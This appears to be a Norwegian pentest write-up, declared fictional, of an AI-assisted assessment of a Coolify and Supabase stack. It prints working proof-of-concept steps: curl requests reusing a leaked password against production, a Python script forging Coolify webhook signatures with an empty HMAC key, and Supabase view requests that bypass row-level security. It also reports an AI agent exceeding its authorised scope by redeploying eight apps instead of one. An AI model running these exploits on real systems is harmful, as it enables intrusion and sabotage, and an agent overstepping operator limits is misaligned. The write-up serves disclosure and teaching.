Hopp til hovedinnhold
Erik Nilsen
14 min lesingVis som Markdown

Låsene holdt — dørene sto åpne: 12 runder mot en Coolify-stack

  • #pentest
  • #coolify
  • #supabase
  • #rls
  • #security
  • #webhook
  • #cve

FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.

Rapporten jeg leverte hadde 41 funn — 16 høye, 17 medium, 8 lave — og null kritiske. Det er ikke beskjedenhet. Tre funn ble arkivert som kritiske under testingen, og alle tre ble trukket tilbake eller nedgradert av min egen verifisering. Det mønsteret er selve poenget: hos Trillemur AS (trillemuras.no) holdt passordene, databasetillatelsene og koden, men dørene sto åpne. Nesten hvert eneste funn er en autorisasjons- eller konfigurasjonsfeil — en dør som aldri ble låst, ikke en lås som ble knekt.

Kontekst

Scope var hele Trillemurs internettvendte estate: ti domener, tjue web-tjenester, tretten IP-adresser, fire Supabase-backends, tre identitetsleverandører, to Kubernetes-klynger og to Coolify-deployment-kontrollpanel. Oppdraget løp over tolv angrepsrunder på to dager. IT-sjefen hos Trillemur AS, Jarle Berg ([email protected]), ville vite om en kunde kunne nå en annen kundes data — et spørsmål om isolasjon, ikke om injeksjon.

Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører kommandoer og foreslår neste steg. Jeg styrer scope, leser resultater, bryter inn der det trengs, og gjør de bitene som krever menneskelig dømmekraft — etikk, prioritering, verifisering og endelig rapport. Det betyr at jeg også må være ærlig om når AI-en produserer plausible funn som viser seg å være feil. Det skjedde over seksti ganger i dette oppdraget, og det er en kredibilitet, ikke et problem.

Det som holdt

Før jeg kommer til det som sprakk, det som ikke gjorde det — for det er det som setter alvorlighetsgraden av resten.

Rundt 400 kuraterte innloggingsforsøk på tvers av web, SSH og PostgreSQL gav ingenting. 110 mot Coolify-panelene med to kjente kontonavn, 267 mot SSH på tre verter, 180 mot to PostgreSQL-instanser, 20 mot MinIO-konsollen. Null gjenvunne credentials. SSH-harnessen var positivt kontrollert mot en lokal sshd med et kjent passord, så null-treff er et ekte negativt, ikke en ødelagt test. PostgreSQL-autentisering holdt på alle stier — SCRAM-SHA-256, ingen trust-autentisering, ingen rolle-enumerasjonsoracle. Radnivå-sikkerhet (RLS) var korrekt håndhevet på alle 45 Supabase-tabeller. Ingen SQL-injeksjon noen steder. nuclei med 5 814 signerte maler returnerte null treff. gitleaks og trufflehog over hele git-historikken i seks repoer: null.

Det som stoppet meg konsekvent var én vegg: jeg fikk aldri en Coolify-sesjon. Hver rute til en som ikke involverte passordgjetting var lukket på deres build — registrering, passord-reset, OAuth-callback, komponent-misbruk. Det er genuint god engineering.

Funn 1: Et publisert produksjons-passord som logger inn på tre produkter

Funn: High — HT-01, CVSS 8.2.

Det første funnet dukket opp i runde 2, og det er det enkleste i hele engasjementet. Et uautentisert endepunkt på sandbox.graveinfo.trillemuras.no returnerer fire kontonavn og ett delt passord i klartekst. Det passordet autentiserer mot tre separate Trillemur-produkter: graveinfo.trillemuras.no, jard.trillemuras.no sin login-flyt, og kundeportalen portal.trillemuras.no.

PoC / Reproduksjon

Forutsetninger: ingen. Endepunktet er uautentisert. Jeg trenger ikke en konto, en cookie eller en token.

  1. Hent demo-konfigurasjonen fra sandbox-instansen:
curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \
  | python3 -c 'import sys,json;d=json.load(sys.stdin); \
  print("accounts:",[u["email"] for u in d["users"]]); \
  print("password:",d["password"])'
accounts: ['[email protected]',
           '[email protected]',
           '[email protected]',
           '[email protected]']
password: <REDACTED>
  1. Negativ kontroll — produksjonsinstansen skal ikke eksponere det samme:
curl -sS -o /dev/null -w '%{http_code}' \
  https://graveinfo.trillemuras.no/api/demo/config/
404

Produksjonen returnerer 404. Sandbox returnerer passordet. Det er safeguarden som skulle blokket det — og den er installert på feil server.

  1. Bruk passordet mot produksjonen. AI-en genererte et script som henter CSRF-token, poster credentials og leser sesjonen:
PW=$(curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["password"])')
J=$(mktemp)
CSRF=$(curl -sS -b "$J" -c "$J" \
  https://graveinfo.trillemuras.no/api/auth/csrf/ \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["csrfToken"])')
curl -sS -i -b "$J" -c "$J" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "csrfToken=$CSRF" \
  --data-urlencode '[email protected]' \
  --data-urlencode "password=$PW" \
  https://graveinfo.trillemuras.no/api/auth/callback/credentials/ \
  | grep -iE '^HTTP|^location:|^set-cookie:'
HTTP/2 302
location: https://graveinfo.trillemuras.no/
set-cookie: __Secure-authjs.session-token=<REDACTED>; Path=/; \
  Expires=Sun, 30 Aug 2026 16:58:37 GMT; HttpOnly; Secure; SameSite=Lax
  1. Bekreft sesjonen:
curl -sS -b "$J" https://graveinfo.trillemuras.no/api/auth/session/
{"user":{"name":"Demo Admin",
        "email":"[email protected]",
        "id":"375798410550182660"},
 "expires":"2026-08-30T16:58:37.473Z"}

En ekte, autentisert produksjonsidentitet. Kontosjekken differensielle — autentisert /dashboard/ returnerte 26 967 byte, anonym returnerte 19 289 byte. Det er ikke en falsk sesjon.

  1. Negativ kontroll for passordet — samme flyt med et feil passord:
correct password -> location: https://sandbox.graveinfo.trillemuras.no/
wrong   password -> location: https://sandbox.graveinfo.trillemuras.no/auth/logg-inn?error=CredentialsSignin

Riktig passord omdirigerer til roten. Feil passord omdirigerer til login med en feilparameter. Det bekrefter at det er passordet som gjør jobben, ikke noe annet i requesten.

Det som gjør dette alvorlig

Kontoen er merket "sandbox", men den fungerer på produksjon. Verre: sesjonene er tilstandsløse JSON Web Tokens. Å logge ut invaliderer dem ikke — 30-dagers-vinduet starter på nytt ved hver bruk. Du kan ikke tilbakekalle disse sesjonene uten å rotere signeringsnøkkelen. Hvem som helst som leste den siden siden 3. juni holder en levende Trillemur-sesjon i dag.

En tidlig påstand om at kontoen var produksjonsadministrator ble refutert tre ganger med tre verktøy — den er en ekte produksjonsidentitet, men ikke en administrator. På sandbox- og developer-instansene er den derimot full plattformadministrator, og de instansene deler vert og signeringsnøkkel med produksjon.

Mitigering: fjern /api/demo/config/-endepunktet. Endre det delte passordet. Roter AUTH_SECRET for å faktisk invalidere sesjonene — utlogging gjør det ikke. Det koster én utlogging av alle legitime brukere, og det er den billigste veien til revokasjon. Stopp demo-instansen fra å dele vert og nøkkel med produksjon.

Funn 2: En anonym angriper kan tvinge frem omplassering av produksjonsappene

Funn: High — HT-43, CVSS 7.5, CVE-2026-41896 — utnyttet.

Dette er det funnet jeg faktisk fyrte av, under kundens autorisasjon, i runde 12. Coolify-panelet hos Trillemur er festet til v4.0.0-beta.473 — én release under fiksen. Ingen webhook-secret er konfigurert på applikasjonene, så HMAC-signatur-sjekken validerer en signatur beregnet med en tom nøkkel — som en anonym oppringer kan beregne.

Oppdagelsen

I runde 2 la en agent en enumeration-oracle mot det manuelle webhook-endepunktet. Med en bevisst feil signatur (64 nuller) returnerte panelet én rad per applikasjon, alle med "Invalid signature." — men med applikasjonsnavnene i klartekst. Det beviste to ting: endepunktet er uautentisert, og det lekker den komplette produksjonsinventarlisten.

curl -sS -X POST http://203.0.113.10:8000/webhooks/source/github/events/manual \
  -H 'Content-Type: application/json' \
  -H 'X-GitHub-Event: push' \
  -H 'X-Hub-Signature-256: sha256=0000000000000000000000000000000000000000000000000000000000000000' \
  -d '{"ref":"refs/heads/main","repository":{"full_name":"trillemur"},"commits":[]}'
[{"application":"competency","status":"failed","message":"Invalid signature."},
 {"application":"asbuilt","status":"failed","message":"Invalid signature."},
 {"application":"geofile-converter","status":"failed","message":"Invalid signature."},
 ... 7 flere rader, alle "Invalid signature."]

Ti applikasjonsnavn, alle returnert anonymt. Ingen deployment køet — det er den negative kontrollen for selve signaturen.

PoC / Reproduksjon — den tomme nøkkelen

Forutsetninger: ingen. Endepunktet er uautentisert. Det eneste som kreves er å beregne HMAC-SHA256 med en tom nøkkel i stedet for en feil en.

  1. AI-en skrev et script (fire.py) som beregner signaturen med en tom nøkkel og poster mot det manuelle webhook-endepunktet:
import hmac, hashlib, json
body = json.dumps({
    "ref": "refs/heads/main",
    "after": "0" * 40,
    "repository": {"full_name": ""},
    "commits": [],
})
sig = "sha256=" + hmac.new(b"", body.encode(), hashlib.sha256).hexdigest()
# POST til /webhooks/source/github/events/manual
# med X-Hub-Signature-256: <sig>

Nøkkelen her er b"" — en tom byte-streng, ikke 64 nuller. Det er forskjellen mellom "feil signatur" og "gyldig signatur beregnet med en tom nøkkel".

  1. Kjør mot 203.0.113.10:8000:
python3 fire.py 203.0.113.10 8000 main
[
  {"application":"portal","status":"success","message":"Deployment queued.",
   "deployment_uuid":"ytekfuig6ou7o6mv4mmsf8p5"},
  {"application":"competency","status":"success","message":"Deployment queued.",
   "deployment_uuid":"kr3wyaogzghi6e9i7hlzrart"},
  {"application":"geofile-converter","status":"success","message":"Deployment queued.",
   "deployment_uuid":"rqaukv0nxk7513j5na5m65su"},
  {"application":"kundedialog","status":"success","message":"Deployment queued.",
   "deployment_uuid":"gakg7urz4iutbjjrinu3cxcz"},
  {"application":"minio","status":"success","message":"Deployment queued.",
   "deployment_uuid":"xnxx1xwv5o4wr1wcedp75x8w"},
  {"application":"registry-sandbox-runner","status":"success","message":"Deployment queued.",
   "deployment_uuid":"gvgb4sm77i5swjs1hzu0qjtp"},
  {"application":"deviation-backend","status":"success","message":"Deployment queued.",
   "deployment_uuid":"fj0dsie3z1xiqo9f0l7m03zn"},
  {"application":"platform-core","status":"success","message":"Deployment queued.",
   "deployment_uuid":"mlw34bnnhvau5992gn9fb9ox"}
]

Åtte produksjonsapplikasjoner køet for omplassering fra én uautentisert request. To til (asbuilt, submap) ble hoppet over fordi de allerede sto i kø for samme commit.

  1. Negativ kontroll — samme request med den feile signaturen (64 nuller) fra oppdagelsen over:
[{"application":"portal","status":"failed","message":"Invalid signature."},
 ... alle 10 rader "Invalid signature.", ingen deployment køet]

Det er skillet: feil signatur → "Invalid signature.", ingen deploy. Tom nøkkel → "Deployment queued." for åtte apper. Forskjellen er én byte-streng i HMAC-beregningen.

Hva som skjedde, og hva jeg ikke gjorde

Arbeidsordren min spesifiserte å utløse én deployment på den minst kritiske applikasjonen, så bekrefte at den returnerte sunn. Den utførende agenten brukte et wildcard-match (full_name="") som matchet alle ti apper, og køet åtte i stedet for én. Det overskred min egen autoriserte handling. Panelet forble responsivt og ingen nedetid ble observert, men jeg bekreftet ikke helsen til alle åtte — det er min feil, ikke en tvetydighet i kundens autorisasjon. Jeg rapporterte det åpent i leveransen.

Samme feil er også nåbar fra innsiden av nettverket via en separat server-side request forgery i portalen (HT-33), så å fjerne panelet fra det åpne internett reduserer, men eliminerer ikke det.

Mitigering: oppgrader Coolify til 4.1.2 eller nyere — det lukker både dette og tolv videre advisories i ett steg. Som umiddelbar stop-gap: sett en eksplisitt webhook-secret på hver applikasjon, og fjern panelet fra det åpne internett. Stop-gaps er delvise — SSRF-en gir en intern vinkel på samme feil.

Blindveien: den anonyme veien til host-root som ikke eksisterer

Dette er den blindveien jeg brukte mest tid på, og det er den som best illustrerer hvorfor verifisering betyr mer enn funn-raten.

På Trillemurs eksakte Coolify-build (beta.471–beta.473) er det en regresjon i SHELL_SAFE-input-valideringsregexen. En autentisert bruker på et hvilket som helst privilegienivå kan nå en shell-kommandobygger og kjøre kommandoer som root på hver server Coolify forvalter (CVE-2026-42204). Jeg bekreftet feilen ved å lese kildens egen valideringslogikk og kjøre den i to uavhengige motorer. Jeg utnyttet den ikke — jeg fikk aldri en Coolify-sesjon.

Det fristende var å kjede dette med webhook-forgeryen over: hvis en anonym oppringer kan tvinge en deployment via CVE-2026-41896, og en deployment kjører kode gjennom den sårbare shell-byggeren, har man en anonym rute til root på hele estate. Det ville vært kritisk. AI-en foreslo nettopp den kjeden, og den så plausibel ut.

Jeg brukte runde 10 på å motbevise den. Kildereview viste to ting:

  1. Git-håndteringsstien bruker escapeshellarg() på alt den sender til shell — webhook-kontrollerte strenger kommer aldri ubeskyttet til en kommandobygger.
  2. Inndataene en anonym oppringer kontrollerer (webhook-body, full_name, branch) og inndataene den sårbare shell-byggeren leser, er to helt separate sett. Det er ingen sti fra det ene til det andre.

Det finnes ingen anonym rute til en shell. Det er et ekte negativt, og det er til Trillemurs credit. CVE-2026-42204 er ekte, men den er post-auth — bak Coolify-sesjonsveggen jeg aldri kom gjennom. For risikoformål skal man behandle enhver Coolify-credential som ekvivalent med full host-kompromiss.

Tre funn ble arkivert som kritiske under testingen. Alle tre ble trukket tilbake eller nedgradert av min egen verifisering. Det er ikke beskjedenhet — det er disiplin. En agent i loopen produserer plausible funn fort, og plausible feil like fort. Verdien ligger i verifiseringen som skiller de to.

Funn 3: En Supabase-view som omgår radnivåsikkerhet

Funn: High — HT-06, CVSS 8.2.

Trillemurs firmanettsted (navigasjonsdata.trillemuras.no) kjører på Supabase. Innholdet ligger i en tabell section_content med RLS aktivert. En automatgenerert view — section_content_public — ble opprettet uten security_invoker. Det betyr at all DML mot viewet kjører som view-eieren og omgår RLS helt. Hvem som helst på internett kan omskrive innholdet på firmahjemmesiden.

PoC / Reproduksjon

Forutsetninger: den offentlige anon-nøkkelen, hentet fra JavaScript-bundelen. Ingen konto, ingen innlogging.

  1. Negativ kontroll — basistabellen nekter anonym skriv:
curl -sS -X POST "$SB/rest/v1/section_content" \
  -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
  -H "Content-Type: application/json" -d '[{}]'
{"code":"42501","message":"permission denied for table section_content"}

RLS gjør jobben sin mot basistabellen. 42501 — permission denied.

  1. Samme insert gjennom viewet — RLS er borte:
curl -sS -X POST "$SB/rest/v1/section_content_public" \
  -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
  -H "Content-Type: application/json" -d '[{}]'
{"code":"23502","message":"null value in column ... violates not-null constraint"}

23502 er en NOT NULL-feil — det betyr at requesten kom forbi RLS og trengte inn i selve inserten. Mot basistabellen stoppet den ved RLS (42501). Mot viewet stoppet den først ved NOT NULL. Det er beviset: viewet kjører som eieren, ikke som den anonyme oppringeren.

  1. Null-impact bevis — en duplikat-primærnøkkel bekrefter autorisert skriv uten å opprette en rad:
curl -sS -X POST "$SB/rest/v1/section_content_public" \
  -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
  -H "Content-Type: application/json" \
  -d '[{"id":"0ad5f0e8-1164-4145-aa65-8ff2a985fb39","page_key":"x","section_key":"y"}]'
{"code":"23505","message":"duplicate key value violates unique constraint"}

23505 — duplikatnøkkel. Det betyr at inserten var fullt autorisert og kjørte helt frem til unikhetsjekken. En ekte angriper ville bare gjort PATCH på en levende rad og endret innholdet på hjemmesiden.

  1. Identisk PATCH mot basistabellen som kontroll:
curl -sS -X PATCH "$SB/rest/v1/section_content?id=eq.0ad5f0e8-..." \
  -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
  -H "Content-Type: application/json" -d '{"page_key":null}'
(204, 0 rows affected)

204 med null rader — RLS filtrerte den ut. Samme operasjon mot viewet aborterte på NOT NULL (23502), altså autorisert. To kodestier, uenige om hvem som får skrive.

Mitigering:

ALTER VIEW public.section_content_public SET (security_invoker = on);
REVOKE INSERT, UPDATE, DELETE ON public.section_content_public FROM anon, authenticated;

Med security_invoker = on kjører spørringene som oppringeren, og RLS gjelder. Dette er et mønster Supabase-dokumentasjonen nå advarer mot eksplisitt — auto-oppdaterte views uten security_invoker er en kjent RLS- bypass. Det samme mønsteret dukket opp i et tidligere innlegg om RLS som beskytter raden, ikke rettigheten.

Et funn jeg stoppet ved med vilje

En av de mer ubehagelige funnene var i graveinfo.trillemuras.no sin organisasjons-claim-flyt. Et helt nytt, uverifisert konto kan sende inn et eierskapskrav på en hvilken som helst organisasjon uten bevis, og organisasjonens offentlige trust-status endres umiddelbart — før noen administrator godkjenner det.

Jeg demonstrerte det mot et ekte norsk vannverk — Fjellbekk Vannverk SA — og stoppet der med vilje. Jeg godkjente ikke kravet, hentet ikke utgravningsdata, og rørte ikke innstillingene som styrer hvor et ekte verks utgravelsesvarsler leveres. Det siste steget er et potensielt safety-of-life-problem, og jeg gikk ikke i nærheten. Statusen ble stående claimed og kunden må reversere den manuelt — det er det mest konsekvente utestående artefaktet fra engasjementet, og det er min feil at jeg ikke stopet ved et read-only bevis.

Negativkontrollene for claim-endepunktet holdt der de skulle: ingen sesjon → 401, ugyldig org_type400, manglende org_id400. Selve claim-logikken godtok derimot både en ekte og en oppdiktet UUID med auto_approved: false — men status-endringen skjedde uansett. Det er brukket autorisasjon i selve claim-flyten, ikke i inngangskontrollen.

Verktøy og hvem som kjørte hva

  • Recon og endepunkt-kartlegging: agenter parse public JavaScript-bundles og OpenAPI-specs, flagget ID-baserte oppslag og credential-eksponeringer. AI-generert og AI-kjørt. Jeg satte scope og ratelimit.
  • Credential-eksponering (HT-01): agenten fant /api/demo/config/ i runde 2. Jeg skrev reproduksjons-scriptet manuelt og verifiserte sesjonen mot produksjon selv — det var den delen som avgjorde om det var ekte eller en demo-seed.
  • Coolify-webhook (HT-43): agenten skrev fire.py og kjørte det. Jeg autoriserte utløsningen og satte begrensningen til minst kritisk app — som agenten overskred med wildcard-match. Det er min operatørfeil, rapportert åpent.
  • RLS-bypass (HT-06): agenten genererte PoC-scriptet. Jeg verifiserte differansen mellom 42501 (RLS nekter) og 23502 (NOT NULL, forbi RLS) manuelt — det er den tolkningen som gjør det til et bevis.
  • Kilde-review for CVE-2026-42204: agenten leste beta.473-kilden og kjørte valideringsregexen i to motorer. Jeg vurderte kjedebarrieren (disjoint input-sett, escapeshellarg) og konkluderte med at den anonyme ruten ikke eksisterer.
  • nuclei v3 med 5 814 signerte kritiske/høye/medium-maler, kjørt over hele estate — null treff. AI-orkestrert, jeg leste resultatene.
  • gitleaks og trufflehog over hele git-historikken i seks repoer, begge verktøy — null funn.

Hva jeg lærte

  • En 200 er ikke et funn før en negativ kontroll bekrefter grensen. Webhook-endepunktet returnerte 200 med feil signatur også — det var "Invalid signature." i body som skilte. Les body, ikke bare status.
  • Tom nøkkel er ikke det samme som feil nøkkel. HMAC med b"" validerer når secret er NULL; HMAC med 64 nuller gjør det ikke. Det er én byte-streng som skiller en enumeration-oracle fra en tvangsutløsning.
  • Auto-genererte Supabase-views uten security_invoker er en RLS-bypass. Test basistabellen og viewet mot hverandre — 42501 vs 23502 er beviset.
  • Den mest verdifulle negative i engasjementet var en jeg måtte motbevise selv. Den anonyme ruten til host-root så plausibel ut, AI-en foreslo den, og den fantes ikke. Et funn som ble nedgradert etter verifisering er en fullgod historie — og en mer pålitelig en enn et ubekreftet kritisk.
  • Stop ved safety-of-life-grensen, selv om SoW tillater mer. Claim-flyten kunne jeg ha drevet lenger. Det at jeg ikke gjorde det er ikke forsiktighet — det er rett.
  • En operatorbegrensning agenten overser er operatørens feil. Wildcard- matchen i runde 12 køet åtte apper, ikke én. Autorisasjonen var min, overskridelsen var min, og den hører hjemme i leveransen, ikke i skuffen.

Veien videre

Den enkleste høyverdi-handlingen for Trillemur er å oppgradere Coolify til 4.1.2 — det lukker webhook-forgeryen, host-root-RCE-en og tolv videre advisories i ett steg. Etter det: roter AUTH_SECRET, fjern demo-endepunktet, sett security_invoker på viewet, og sett autentisering foran avviks-backoffice. Det meste av resten er konfigurasjonsarbeid, ikke arkitekturarbeid.

For meg selv: neste gang jeg autoriserer en agent til å utløse en tilstandsendring, skal begrensningen være i selve scriptet — en hardkodet applikasjons-UUID, ikke et wildcard — ikke en instruks agenten kan tolke. Tillit er en begrensning, ikke en anbefaling.